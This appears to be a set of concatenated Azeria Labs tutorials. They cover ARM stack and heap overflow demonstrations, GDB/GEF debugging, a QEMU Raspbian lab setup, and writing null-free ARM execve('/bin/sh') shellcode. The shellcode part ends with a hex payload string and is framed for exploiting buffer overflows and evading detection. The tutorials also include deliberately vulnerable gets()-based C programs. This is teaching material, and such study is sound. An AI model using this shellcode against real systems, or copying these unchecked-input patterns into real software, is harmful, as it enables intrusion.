In the second example we see (image above) that when we provide too much of data for the function “gets”, it does not stop at the boundaries of the target buffer and keeps writing “down the Stack”. This causes our previous FP and LR values to be corrupted. When we continue running the program, the program crashes (causes a “Segmentation fault”), because during the epilogue of the current function the previous values of FP and LR are “poped” off the Stack into R11 and PC registers forcing the program to jump to address 0x41414140 (last byte gets automatically converted to 0x40 because of the switch to Thumb mode), which in this case is an illegal address. The picture below shows us the values of the registers (take a look at $pc) at the time of the crash.

Heap Overflow

First of all, Heap is a more complicated memory location, mainly because of the way it is managed. To keep things simple, we stick with the fact that every object placed in the Heap memory section is “packed” into a “chunk” having two parts: header and user data (which sometimes the user controls fully). In the Heap’s case, the memory corruption happens when the user is able to write more data than is expected. In that case, the corruption might happen within the chunk’s boundaries (intra-chunk Heap overflow), or across the boundaries of two (or more) chunks (inter-chunk Heap overflow). To put things in perspective, let’s take a look at the following illustration.

As shown in the illustration above, the intra-chunk heap overflow happens when the user has the ability to supply more data to u_data_1and cross the boundary between u_data_1 and u_data_2. In this way the fields/properties of the current object get corrupted. If the user supplies more data than the current Heap chunk can accommodate, then the overflow becomes inter-chunk and results into a corruption of the adjacent chunk(s).

Intra-chunk Heap overflow

To illustrate how an intra-chunk Heap overflow looks like in practice we can use the following example and compile it with “-O” (optimization flag) to have a smaller (binary) program (easier to look through).

/*azeria@labs:~/exp $ gcc intra_chunk.c -o intra_chunk -O*/
#include "stdlib.h"
#include "stdio.h"

struct u_data                                          //object model: 8 bytes for name, 4 bytes for number
{
 char name[8];
 int number;
};

int main ( int argc, char* argv[] )
{
 struct u_data* objA = malloc(sizeof(struct u_data)); //create object in Heap

 objA->number = 1234;                                 //set the number of our object to a static value
 gets(objA->name);                                    //set name of our object according to user's input

 if(objA->number == 1234)                             //check if static value is intact
 {
  puts("Memory valid");
 }
 else                                                 //proceed here in case the static value gets corrupted
 {
  puts("Memory corrupted");
 }
}

The program above does the following:

1. Defines a data structure (u_data) with two fields
2. Creates an object (in the Heap memory region) of type u_data
3. Assigns a static value to the number’s field of the object
4. Prompts user to supply a value for the name’s field of the object
5. Prints a string depending on the value of the number’s field

So in this case we also suspect that the corruption might happen after the function “gets”. We disassemble the target program’s main function to get the address for a break-point.

In this case we set the break-point at address 0x00010498 – right after the function “gets” is completed. We configure GEF to show us the code only. We then run the program and provide 7 A’s as a user input.

Once the break-point is hit, we quickly lookup the memory layout of our program to find where our Heap is. We use vmmap command and see that our Heap starts at the address 0x00021000. Given the fact that our object (objA) is the first and the only one created by the program, we start analyzing the Heap right from the beginning.

The picture above shows us a detailed break down of the Heap’s chunk associated with our object. The chunk has a header (8 bytes) and the user’s data section (12 bytes) storing our object. We see that the name field properly stores the supplied string of 7 A’s, terminated by a null-byte. The number field, stores 0x4d2 (1234 in decimal). So far so good. Let’s repeat these steps, but in this case enter 8 A’s.

While examining the Heap this time we see that the number’s field got corrupted (it’s now equal to 0x400 instead of 0x4d2). The null-byte terminator overwrote a portion (last byte) of the number’s field. This results in an intra-chunk Heap memory corruption. Effects of such a corruption in this case are not devastating, but visible. Logically, the else statement in the code should never be reached as the number’s field is intended to be static. However, the memory corruption we just observed makes it possible to reach that part of the code. This can be easily confirmed by the example below.

Inter-chunk Heap overflow

To illustrate how an inter-chunk Heap overflow looks like in practice we can use the following example, which we now compile withoutoptimization flag.

/*azeria@labs:~/exp $ gcc inter_chunk.c -o inter_chunk*/
#include "stdlib.h"
#include "stdio.h"

int main ( int argc, char* argv[] )
{
 char *some_string = malloc(8);  //create some_string "object" in Heap
 int *some_number = malloc(4);   //create some_number "object" in Heap

 *some_number = 1234;            //assign some_number a static value
 gets(some_string);              //ask user for input for some_string

 if(*some_number == 1234)        //check if static value (of some_number) is in tact
 {
 puts("Memory valid");
 }
 else                            //proceed here in case the static some_number gets corrupted
 {
 puts("Memory corrupted");
 }
}

The process here is similar to the previous ones: set a break-point after function “gets”, run the program, supply 7 A’s, investigate Heap.

Once the break-point is hit, we examine the Heap. In this case, we have two chunks. We see (image below) that their structure is in tact: the some_string is within its boundaries, the some_number is equal to 0x4d2.

Now, let’s supply 16 A’s and see what happens.

As you might have guessed, providing too much of input causes the overflow resulting into corruption of the adjacent chunk. In this case we see that our user input corrupted the header and the first byte of the some_number’s field. Here again, by corrupting the some_number we manage to reach the code section which logically should never be reached.

In this part of the tutorial we got familiar with the process memory layout and the basics of Stack and Heap related memory corruptions. In the next part of this tutorial series we will cover other memory corruptions: Dangling pointer and Format String. Once we cover the most common types of memory corruptions, we will be ready for learning how to write working exploits.

This is a very brief introduction into compiling ARM binaries and basic debugging with GDB. As you follow the tutorials, you might want to follow along and experiment with ARM assembly on your own. In that case, you would either need a spare ARM device, or you just set up your own Lab environment in a VM by following the steps in this short How-To.

You can use the following code from Stack and Functions, to get familiar with basic debugging with GDB.

.section .text
.global _start

_start:
    push {r11, lr}    /* Start of the prologue. Saving Frame Pointer and LR onto the stack */
    add r11, sp, #0   /* Setting up the bottom of the stack frame */
    sub sp, sp, #16   /* End of the prologue. Allocating some buffer on the stack */
    mov r0, #1        /* setting up local variables (a=1). This also serves as setting up the first parameter for the max function */
    mov r1, #2        /* setting up local variables (b=2). This also serves as setting up the second parameter for the max function */
    bl max            /* Calling/branching to function max */
    sub sp, r11, #0   /* Start of the epilogue. Readjusting the Stack Pointer */
    pop {r11, pc}     /* End of the epilogue. Restoring Frame pointer from the stack, jumping to previously saved LR via direct load into PC */

max:
    push {r11}        /* Start of the prologue. Saving Frame Pointer onto the stack */
    add r11, sp, #0   /* Setting up the bottom of the stack frame */
    sub sp, sp, #12   /* End of the prologue. Allocating some buffer on the stack */
    cmp r0, r1        /* Implementation of if(a<b) */
    movlt r0, r1      /* if r0 was lower than r1, store r1 into r0 */
    add sp, r11, #0   /* Start of the epilogue. Readjusting the Stack Pointer */
    pop {r11}         /* restoring frame pointer */
    bx lr             /* End of the epilogue. Jumping back to main via LR register */

Personally, I prefer using GEF as a GDB extension. It gives me a better overview and useful features. You can try it out here: GEF – GDB Enhanced Features.

Save the code above in a file called max.s and compile it with the following commands:

$ as max.s -o max.o
$ ld max.o -o max

The debugger is a powerful tool that can:

• Load a memory dump after a crash (post-mortem debugging)
• Attach to a running process (used for server processes)
• Launch a program and debug it

Launch GDB against either a binary, a core file, or a Process ID:

• Attach to a process: $ gdb -pid $(pidof <process>)
• Debug a binary: $ gdb ./file
• Inspect a core (crash) file: $ gdb -c ./core.3243

$ gdb max

If you installed GEF, it drops you the gef> prompt.

This is how you get help:

• (gdb) h
• (gdb) apropos <search-term>

gef> apropos registers
collect -- Specify one or more data items to be collected at a tracepoint
core-file -- Use FILE as core dump for examining memory and registers
info all-registers -- List of all registers and their contents
info r -- List of integer registers and their contents
info registers -- List of integer registers and their contents
maintenance print cooked-registers -- Print the internal register configuration including cooked values
maintenance print raw-registers -- Print the internal register configuration including raw values
maintenance print registers -- Print the internal register configuration
maintenance print remote-registers -- Print the internal register configuration including each register's
p -- Print value of expression EXP
print -- Print value of expression EXP
registers -- Display full details on one
set may-write-registers -- Set permission to write into registers
set observer -- Set whether gdb controls the inferior in observer mode
show may-write-registers -- Show permission to write into registers
show observer -- Show whether gdb controls the inferior in observer mode
tui reg float -- Display only floating point registers
tui reg general -- Display only general registers
tui reg system -- Display only system registers

Breakpoint commands:

• break (or just b) <function-name>
• break <line-number>
• break filename:function
• break filename:line-number
• break *<address>
• break  +<offset>  
• break  –<offset>
• tbreak (set a temporary breakpoint)
• del <number>  (delete breakpoint number x)
• delete (delete all breakpoints)
• delete <range> (delete breakpoint ranges)
• disable/enable <breakpoint-number-or-range> (does not delete breakpoints, just enables/disables them)
• continue (or just c) – (continue executing until next breakpoint)
• continue <number> (continue but ignore current breakpoint number times. Useful for breakpoints within a loop.)
• finish (continue to end of function)

gef> break _start
gef> info break
Num Type Disp Enb Address What
1 breakpoint keep y 0x00008054 <_start>
 breakpoint already hit 1 time
gef> del 1
gef> break *0x0000805c
Breakpoint 2 at 0x805c
gef> break _start

This deletes the first breakpoint and sets a breakpoint at the specified memory address. When you run the program, it will break at this exact location. If you would not delete the first breakpoint and just set a new one and run, it would break at the first breakpoint.

Start and Stop:

• Start program execution from beginning of the program
  • run
  • r
  • run <command-line-argument>
• Stop program execution
  • kill
• Exit GDB debugger
  • quit
  • q

gef> run

Now that our program broke exactly where we wanted, it’s time to examine the memory. The command “x” displays memory contents in various formats.

gef> x/10i $pc
=> 0x8054 <_start>: push {r11, lr}
 0x8058 <_start+4>: add r11, sp, #0
 0x805c <_start+8>: sub sp, sp, #16
 0x8060 <_start+12>: mov r0, #1
 0x8064 <_start+16>: mov r1, #2
 0x8068 <_start+20>: bl 0x8074 <max>
 0x806c <_start+24>: sub sp, r11, #0
 0x8070 <_start+28>: pop {r11, pc}
 0x8074 <max>: push {r11}
 0x8078 <max+4>: add r11, sp, #0
gef> x/16xw $pc
0x8068 <_start+20>: 0xeb000001  0xe24bd000  0xe8bd8800  0xe92d0800
0x8078 <max+4>:     0xe28db000  0xe24dd00c  0xe1500001  0xb1a00001
0x8088 <max+20>:    0xe28bd000  0xe8bd0800  0xe12fff1e  0x00001741
0x8098:             0x61656100  0x01006962  0x0000000d  0x01080206

Commands for stepping through the code:

• Step to next line of code. Will step into a function
  • stepi
  • s
  • step <number-of-steps-to-perform>
• Execute next line of code. Will not enter functions
  • nexti
  • n
  • next <number>
• Continue processing until you reach a specified line number, function name, address, filename:function, or filename:line-number
  • until
  • until <line-number>
• Show current line number and which function you are in
  • where

gef> nexti 5
...
0x8068 <_start+20> bl 0x8074 <max> <- $pc
0x806c <_start+24> sub sp, r11, #0
0x8070 <_start+28> pop {r11, pc}
0x8074 <max> push {r11}
0x8078 <max+4> add r11, sp, #0
0x807c <max+8> sub sp, sp, #12
0x8080 <max+12> cmp r0, r1
0x8084 <max+16> movlt r0, r1
0x8088 <max+20> add sp, r11, #0

Examine the registers with info registers or i r

gef> info registers
r0     0x1     1
r1     0x2     2
r2     0x0     0
r3     0x0     0
r4     0x0     0
r5     0x0     0
r6     0x0     0
r7     0x0     0
r8     0x0     0
r9     0x0     0
r10    0x0     0
r11    0xbefff7e8 3204446184
r12    0x0     0
sp     0xbefff7d8 0xbefff7d8
lr     0x0     0
pc     0x8068  0x8068 <_start+20>
cpsr   0x10    16

The command “info registers” gives you the current register state. We can see the general purpose registers r0-r12, and the special purpose registers SP, LR, and PC, including the status register CPSR. The first four arguments to a function are generally stored in r0-r3. In this case, we manually moved values to r0 and r1.

Show process memory map:

gef> info proc map
process 10225
Mapped address spaces:

 Start Addr   End Addr    Size     Offset objfile
     0x8000     0x9000  0x1000          0   /home/pi/lab/max
 0xb6fff000 0xb7000000  0x1000          0          [sigpage]
 0xbefdf000 0xbf000000 0x21000          0            [stack]
 0xffff0000 0xffff1000  0x1000          0          [vectors]

With the command “disassemble” we look through the disassembly output of the function max.

gef> disassemble max
 Dump of assembler code for function max:
 0x00008074 <+0>: push {r11}
 0x00008078 <+4>: add r11, sp, #0
 0x0000807c <+8>: sub sp, sp, #12
 0x00008080 <+12>: cmp r0, r1
 0x00008084 <+16>: movlt r0, r1
 0x00008088 <+20>: add sp, r11, #0
 0x0000808c <+24>: pop {r11}
 0x00008090 <+28>: bx lr
 End of assembler dump.

GEF specific commands (more commands can be viewed using the command “gef”):

• Dump all sections of all loaded ELF images in process memory
  • xfiles
• Enhanced version of proc map, includes RWX attributes in mapped pages
  • vmmap
• Memory attributes at a given address
  • xinfo
• Inspect compiler level protection built into the running binary
  • checksec

gef> xfiles
     Start        End  Name File
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
gef> vmmap
     Start        End     Offset Perm Path
0x00008000 0x00009000 0x00000000 r-x /home/pi/lab/max
0xb6fff000 0xb7000000 0x00000000 r-x [sigpage]
0xbefdf000 0xbf000000 0x00000000 rwx [stack]
0xffff0000 0xffff1000 0x00000000 r-x [vectors]
gef> xinfo 0xbefff7e8
----------------------------------------[ xinfo: 0xbefff7e8 ]----------------------------------------
Found 0xbefff7e8
Page: 0xbefdf000 -> 0xbf000000 (size=0x21000)
Permissions: rwx
Pathname: [stack]
Offset (from page): +0x207e8
Inode: 0
gef> checksec
[+] checksec for '/home/pi/lab/max'
Canary:                  No
NX Support:              Yes
PIE Support:             No
RPATH:                   No
RUNPATH:                 No
Partial RelRO:           No
Full RelRO:              No

To make debugging with GDB more efficient it is useful to know where certain branches/jumps will take us. Certain (newer) versions of GDB resolve the addresses of a branch instruction and show us the name of the target function. For example, the following output of GDB lacks this feature:

...
0x000104f8 <+72>: bl 0x10334
0x000104fc <+76>: mov r0, #8
0x00010500 <+80>: bl 0x1034c
0x00010504 <+84>: mov r3, r0
...

And this is the output of GDB (native, without gef) which has the feature I’m talking about:

0x000104f8 <+72>:    bl      0x10334 <free@plt>
0x000104fc <+76>:    mov     r0, #8
0x00010500 <+80>:    bl      0x1034c <malloc@plt>
0x00010504 <+84>:    mov     r3, r0

If you don’t have this feature in your GDB, you can either update the Linux sources (and hope that they already have a newer GDB in their repositories) or compile a newer GDB by yourself. If you choose to compile the GDB by yourself, you can use the following commands:

cd /tmp
wget https://ftp.gnu.org/gnu/gdb/gdb-7.12.tar.gz
tar vxzf gdb-7.12.tar.gz
sudo apt-get update
sudo apt-get install libreadline-dev python-dev texinfo -y
cd gdb-7.12
./configure --prefix=/usr --with-system-readline --with-python && make -j4
sudo make -j4 -C gdb/ install
gdb --version

I used the commands provided above to download, compile and run GDB on Raspbian (jessie) without problems. these commands will also replace the previous version of your GDB. If you don’t want that, then skip the command which ends with the word install. Moreover, I did this while emulating Raspbian in QEMU, so it took me a long time (hours), because of the limited resources (CPU) on the emulated environment. I used GDB version 7.12, but you would most likely succeed even with a newer version (click HERE for other versions).

Let’s start setting up a Lab VM. We will use Ubuntu and emulate our desired ARM versions inside of it.

First, get the latest Ubuntu version and run it in a VM:

• https://www.ubuntu.com/download/desktop

For the QEMU emulation you will need the following:

1. A Raspbian Image: http://downloads.raspberrypi.org/raspbian/images/raspbian-2017-04-10/ (other versions might work, but Jessie is recommended)
2. Latest qemu kernel: https://github.com/dhruvvyas90/qemu-rpi-kernel

Inside your Ubuntu VM, create a new folder:

$ mkdir ~/qemu_vms/

Download and place the Raspbian Jessie image to ~/qemu_vms/.

Download and place the qemu-kernel to ~/qemu_vms/.

$ sudo apt-get install qemu-system
$ unzip <image-file>.zip
$ fdisk -l <image-file>

You should see something like this:

Disk 2017-03-02-raspbian-jessie.img: 4.1 GiB, 4393533440 bytes, 8581120 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x432b3940

Device                          Boot  Start     End Sectors Size Id Type
2017-03-02-raspbian-jessie.img1        8192  137215  129024  63M  c W95 FAT32 (LBA)
2017-03-02-raspbian-jessie.img2      137216 8581119 8443904   4G 83 Linux

You see that the filesystem (.img2) starts at sector 137216. Now take that value and multiply it by 512, in this case it’s 512 * 137216 = 70254592 bytes. Use this value as an offset in the following command:

$ sudo mkdir /mnt/raspbian
$ sudo mount -v -o offset=70254592 -t ext4 ~/qemu_vms/<your-img-file.img> /mnt/raspbian
$ sudo nano /mnt/raspbian/etc/ld.so.preload

Comment out every entry in that file with ‘#’, save and exit with Ctrl-x » Y.

$ sudo nano /mnt/raspbian/etc/fstab

IF you see anything with mmcblk0 in fstab, then:

1. Replace the first entry containing /dev/mmcblk0p1 with /dev/sda1
2. Replace the second entry containing /dev/mmcblk0p2 with /dev/sda2, save and exit.

$ cd ~
$ sudo umount /mnt/raspbian

Now you can emulate it on Qemu by using the following command:

$ qemu-system-arm -kernel ~/qemu_vms/<your-kernel-qemu> -cpu arm1176 -m 256 -M versatilepb -serial stdio -append "root=/dev/sda2 rootfstype=ext4 rw" -hda ~/qemu_vms/<your-jessie-image.img> -redir tcp:5022::22 -no-reboot

If you see GUI of the Raspbian OS, you need to get into the terminal. Use Win key to get the menu, then navigate with arrow keys until you find Terminal application as shown below.

From the terminal, you need to start the SSH service so that you can access it from your host system (the one from which you launched the qemu).

Now you can SSH into it from your host system with (default password – raspberry):

$ ssh pi@127.0.0.1 -p 5022

For a more advanced network setup see the “Advanced Networking” paragraph below.

Troubleshooting

If SSH doesn’t start in your emulator at startup by default, you can change that inside your Pi terminal with:

$ sudo update-rc.d ssh enable

If your emulated Pi starts the GUI and you want to make it start in console mode at startup, use the following command inside your Pi terminal:

$ sudo raspi-config
>Select 3 – Boot Options
>Select B1 – Desktop / CLI
>Select B2 – Console Autologin

If your mouse doesn’t move in the emulated Pi, click <Windows>, arrow down to Accessories, arrow right, arrow down to Terminal, enter.

Resizing the Raspbian image

Once you are done with the setup, you are left with a total of 3,9GB on your image, which is full. To enlarge your Raspbian image, follow these steps on your Ubuntu machine:

Create a copy of your existing image:

$ cp <your-raspbian-jessie>.img rasbian.img

Run this command to resize your copy:

$ qemu-img resize raspbian.img +6G

Now start the original raspbian with enlarged image as second hard drive:

$ sudo qemu-system-arm -kernel ~/qemu_vms/<kernel-qemu> -cpu arm1176 -m 256 -M versatilepb -serial stdio -append "root=/dev/sda2 rootfstype=ext4 rw" -hda ~/qemu_vms/<your-original-raspbian-jessie>.img -redir tcp:5022::22 -no-reboot -hdb raspbian.img

Login and run:

$ sudo cfdisk /dev/sdb

Delete the second partition (sdb2) and create a New partition with all available space. Once new partition is creates, use Write to commit the changes. Then Quit the cfdisk.

Resize and check the old partition and shutdown.

$ sudo resize2fs /dev/sdb2
$ sudo fsck -f /dev/sdb2
$ sudo halt

Now you can start QEMU with your enlarged image:

$ sudo qemu-system-arm -kernel ~/qemu_vms/<kernel-qemu> -cpu arm1176 -m 256 -M versatilepb -serial stdio -append "root=/dev/sda2 rootfstype=ext4 rw" -hda ~/qemu_vms/raspbian.img -redir tcp:5022::22

Advanced Networking

In some cases you might want to access all the ports of the VM you are running in QEMU. For example, you run some binary which opens some network port(s) that you want to access/fuzz from your host (Ubuntu) system. For this purpose, we can create a shared network interface (tap0) which allows us to access all open ports (if those ports are not bound to 127.0.0.1). Thanks to @0xMitsurugi for suggesting this to include in this tutorial.

This can be done with the following commands on your HOST (Ubuntu) system:

azeria@labs:~ $ sudo apt-get install uml-utilities
azeria@labs:~ $ sudo tunctl -t tap0 -u azeria
azeria@labs:~ $ sudo ifconfig tap0 172.16.0.1/24

After these commands you should see the tap0 interface in the ifconfig output.

azeria@labs:~ $ ifconfig tap0
tap0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.16.0.1 netmask 255.255.255.0 broadcast 172.16.0.255
ether 22:a8:a9:d3:95:f1 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

You can now start your QEMU VM with this command:

azeria@labs:~ $ sudo qemu-system-arm -kernel ~/qemu_vms/<kernel-qemu> -cpu arm1176 -m 256 -M versatilepb -serial stdio -append "root=/dev/sda2 rootfstype=ext4 rw" -hda ~/qemu_vms/rasbian.img -net nic -net tap,ifname=tap0,script=no,downscript=no -no-reboot

When the QEMU VM starts, you need to assign an IP to it’s eth0 interface with the following command:

pi@labs:~ $ sudo ifconfig eth0 172.16.0.2/24

If everything went well, you should be able to reach open ports on the GUEST (Raspbian) from your HOST (Ubuntu) system. You can test this with a netcat (nc) tool (see an example below).

This tutorial is for people who think beyond running automated shellcode generators and want to learn how to write shellcode in ARM assembly themselves. After all, knowing how it works under the hood and having full control over the result is much more fun than simply running a tool, isn’t it? Writing your own shellcode in assembly is a skill that can turn out to be very useful in scenarios where you need to bypass shellcode-detection algorithms or other restrictions where automated tools could turn out to be insufficient. The good news is, it’s a skill that can be learned quite easily once you are familiar with the process.

For this tutorial we will use the following tools (most of them should be installed by default on your Linux distribution):

• GDB – our debugger of choice
• GEF –  GDB Enhanced Features, highly recommended (created by @_hugsy_)
• GCC – Gnu Compiler Collection
• as – assembler
• ld – linker
• strace – utility to trace system calls
• objdump – to check for null-bytes in the disassembly
• objcopy – to extract raw shellcode from ELF binary

Make sure you compile and run all the examples in this tutorial in an ARM environment.

Before you start writing your shellcode, make sure you are aware of some basic principles, such as:

1. You want your shellcode to be compact and free of null-bytes
   • Reason: We are writing shellcode that we will use to exploit memory corruption vulnerabilities like buffer overflows. Some buffer overflows occur because of the use of the C function ‘strcpy’. Its job is to copy data until it receives a null-byte. We use the overflow to take control over the program flow and if strcpy hits a null-byte it will stop copying our shellcode and our exploit will not work.
2. You also want to avoid library calls and absolute memory addresses
   • Reason: To make our shellcode as universal as possible, we can’t rely on library calls that require specific dependencies and absolute memory addresses that depend on specific environments.

The Process of writing shellcode involves the following steps:

1. Knowing what system calls you want to use
2. Figuring out the syscall number and the parameters your chosen syscall function requires
3. De-Nullifying your shellcode
4. Converting your shellcode into a Hex string

Before diving into our first shellcode, let’s write a simple ARM assembly program that outputs a string. The first step is to look up the system call we want to use, which in this case is “write”. The prototype of this system call can be looked up in the Linux man pages:

ssize_t write(int fd, const void *buf, size_t count);

From the perspective of a high level programming language like C, the invocation of this system call would look like the following:

const char string[13] = "Azeria Labs\n";
write(1, string, sizeof(string));        // Here sizeof(string) is 13

Looking at this prototype, we can see that we need the following parameters:

• fd – 1 for STDOUT
• buf – pointer to a string
• count – number of bytes to write -> 13
• syscall number of write -> 0x4

For the first 3 parameters we can use R0, R1, and R2. For the syscall we need to use R7 and move the number 0x4 into it.

mov   r0, #1      @ fd 1 = STDOUT
ldr   r1, string  @ loading the string from memory to R1
mov   r2, #13     @ write 13 bytes to STDOUT 
mov   r7, #4      @ Syscall 0x4 = write()
svc   #0

Using the snippet above, a functional ARM assembly program would look like the following:

.data
string: .asciz "Azeria Labs\n"  @ .asciz adds a null-byte to the end of the string
after_string:
.set size_of_string, after_string - string

.text
.global _start

_start:
   mov r0, #1               @ STDOUT
   ldr r1, addr_of_string   @ memory address of string
   mov r2, #size_of_string  @ size of string
   mov r7, #4               @ write syscall
   swi #0                   @ invoke syscall

_exit:
   mov r7, #1               @ exit syscall
   swi 0                    @ invoke syscall

addr_of_string: .word string

In the data section we calculate the size of our string by subtracting the address at the beginning of the string from the address after the string. This, of course, is not necessary if we would just calculate the string size manually and put the result directly into R2. To exit our program we use the system call exit() which has the syscall number 1.

Compile and execute:

azeria@labs:~$ as write.s -o write.o && ld write.o -o write
azeria@labs:~$ ./write
Azeria Labs

Cool. Now that we know the process, let’s look into it in more detail and write our first simple shellcode in ARM assembly.

For our first example we will take the following simple function and transform it into ARM assembly:

#include <stdio.h>

void main(void)
{
    system("/bin/sh");
}

The first step is to figure out what system calls this function invokes and what parameters are required by the system call. With ‘strace’ we can monitor our program’s system calls to the Kernel of the OS.

Save the code above in a file and compile it before running the strace command on it.

azeria@labs:~$ gcc system.c -o system
azeria@labs:~$ strace -h
-f -- follow forks, -ff -- with output into separate files
-v -- verbose mode: print unabbreviated argv, stat, termio[s], etc. args
--- snip --
azeria@labs:~$ strace -f -v system
--- snip --
[pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/"..., "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) = 0
--- snip --
[pid 4575] write(2, "$ ", 2$ ) = 2
[pid 4575] read(0, exit
--- snip --
exit_group(0) = ?
+++ exited with 0 +++

Turns out, the system function execve() is being invoked.

The next step is to figure out the syscall number of execve() and the parameters this function requires. You can get a nice overview of system calls at w3calls or by searching through Linux man pages. Here’s what we get from the man page of execve():

NAME
    execve - execute program
SYNOPSIS

    #include <unistd.h>

    int  execve(const char *filename, char *const argv [], char *const envp[]);

The parameters execve() requires are:

• Pointer to a string specifying the path to a binary
• argv[] – array of command line variables
• envp[] – array of environment variables

Which basically translates to: execve(*filename, *argv[], *envp[]) –> execve(*filename, 0, 0). The system call number of this function can be looked up with the following command:

azeria@labs:~$ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h 
#define __NR_execve (__NR_SYSCALL_BASE+ 11)

Looking at the output you can see that the syscall number of execve() is 11. Register R0 to R2 can be used for the function parameters and register R7 will store the syscall number.

Invoking system calls on x86 works as follows: First, you PUSH parameters on the stack. Then, the syscall number gets moved into EAX (MOV EAX, syscall_number). And lastly, you invoke the system call with SYSENTER / INT 80.

On ARM, syscall invocation works a little bit differently:

1. Move parameters into registers – R0, R1, ..
2. Move the syscall number into register R7
   • mov  r7, #<syscall_number>
3. Invoke the system call with
   • SVC #0 or
   • SVC #1
4. The return value ends up in R0

This is how it looks like in ARM Assembly (Code uploaded to the azeria-labs Github account):

As you can see in the picture above, we start with pointing R0 to our “/bin/sh” string by using PC-relative addressing (If you can’t remember why the effective PC starts two instructions ahead of the current one, go to ‘‘Data Types and Registers‘ of the assembly basics tutorial and look at part where the PC register is explained along with an example). Then we move 0’s into R1 and R2 and move the syscall number 11 into R7. Looks easy, right? Let’s look at the disassembly of our first attempt using objdump:

azeria@labs:~$ as execve1.s -o execve1.o
azeria@labs:~$ objdump -d execve1.o
execve1.o: file format elf32-littlearm

Disassembly of section .text:

00000000 <_start>:
 0: e28f000c add r0, pc, #12
 4: e3a01000 mov r1, #0
 8: e3a02000 mov r2, #0
 c: e3a0700b mov r7, #11
 10: ef000000 svc 0x00000000
 14: 6e69622f .word 0x6e69622f
 18: 0068732f .word 0x0068732f

Turns out we have quite a lot of null-bytes in our shellcode. The next step is to de-nullify the shellcode and replace all operations that involve.

One of the techniques we can use to make null-bytes less likely to appear in our shellcode is to use Thumb mode. Using Thumb mode decreases the chances of having null-bytes, because Thumb instructions are 2 bytes long instead of 4. If you went through the ARM Assembly Basics tutorials you know how to switch from ARM to Thumb mode. If you haven’t I encourage you to read the chapter about the branching instructions “B / BX / BLX” in part 6 of the tutorial “Conditional Execution and Branching“.

In our second attempt we use Thumb mode and replace the operations containing #0’s with operations that result in 0’s by subtracting registers from each other or xor’ing them. For example, instead of using “mov  r1, #0”, use either “sub  r1, r1, r1” (r1 = r1 – r1) or “eor  r1, r1, r1” (r1 = r1 xor r1). Keep in mind that since we are now using Thumb mode (2 byte instructions) and our code must be 4 byte aligned, we need to add a NOP at the end (e.g. mov  r5, r5).

(Code available on the azeria-labs Github account):

The disassembled code looks like the following:

The result is that we only have one single null-byte that we need to get rid of. The part of our code that’s causing the null-byte is the null-terminated string “/bin/sh\0”. We can solve this issue with the following technique:

• Replace “/bin/sh\0” with “/bin/shX”
• Use the instruction strb (store byte) in combination with an existing zero-filled register to replace X with a null-byte

(Code available on the azeria-labs Github account):

Voilà – no null-bytes!

azeria@labs:~$ ld --help
--- snip --
-N, --omagic        Do not page align data, do not make text readonly.
--- snip -- 
azeria@labs:~$ as execve3.s -o execve3.o && ld -N execve3.o -o execve3
azeria@labs:~$ ./execve3
$ whoami
azeria

azeria@labs:~$ objcopy -O binary execve3 execve3.bin 
azeria@labs:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve3.bin 
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

#!/usr/bin/env python

import sys

binary = open(sys.argv[1],'rb')

for byte in binary.read():
 sys.stdout.write("\\x"+byte.encode("hex"))

print ""

azeria@labs:~$ ./shellcode.py execve3.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78